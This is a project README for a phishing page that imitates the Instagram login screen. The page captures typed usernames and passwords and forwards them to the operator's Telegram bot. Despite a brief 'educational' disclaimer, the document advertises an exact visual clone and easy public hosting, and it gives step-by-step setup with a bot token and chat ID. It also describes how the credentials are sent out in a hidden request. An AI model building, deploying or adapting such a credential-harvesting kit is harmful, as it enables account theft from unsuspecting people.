Disclaimer: This project was created strictly for educational purposes and phishing awareness. Do not use this tool for malicious purposes.
insTelegramBot is a simple webpage designed to look exactly like the Instagram login screen. It demonstrates how a phishing attack works by capturing the login details someone types in and sending them directly to a Telegram chat.
The goal of this project is to help people understand how fake login pages operate so they can better protect themselves from losing their accounts.
- Accurate Design: Looks just like the real Instagram login page, including the layout and images.
- Telegram Integration: Sends the captured username and password straight to your Telegram app using a bot.
- Easy to Host: Because it is just HTML, CSS, and JavaScript, you can host it easily on static sites like GitHub Pages without needing a complex backend server.
- HTML & CSS: Used to build the structure and design of the fake login page (
index.html,login.html). - JavaScript: Used to capture the form data and send it to Telegram (
login.js,img.js). - Telegram Bot API: Used as the backend to receive the stolen credentials.
If you want to test this project locally to see how it works:
-
Download the project: Clone this repository to your computer.
git clone [https://github.com/saheermk/insTelegramBot.git](https://github.com/saheermk/insTelegramBot.git)
-
Create a Telegram Bot: Open Telegram, search for
@BotFather, create a new bot, and copy theBOT_TOKENit gives you. -
Get your Chat ID: Find your personal Telegram
CHAT_ID(you can message a bot like@userinfobotto find out your ID number). -
Update the code: Open the
login.jsfile and replace the placeholder variables with your actualBOT_TOKENandCHAT_ID. -
Run the site: Double-click
index.htmlorlogin.htmlto open it in your web browser and test the form.
- A person opens the fake login page, thinking it is real.
- They type in their username and password and click "Log In".
- The JavaScript file catches the details before the page can actually log them in.
- The script sends a hidden web request to the Telegram Bot API with the username and password.
- The details instantly pop up in your Telegram chat.
Saheer
- GitHub: @saheermk
This project is open-source and available under the MIT License.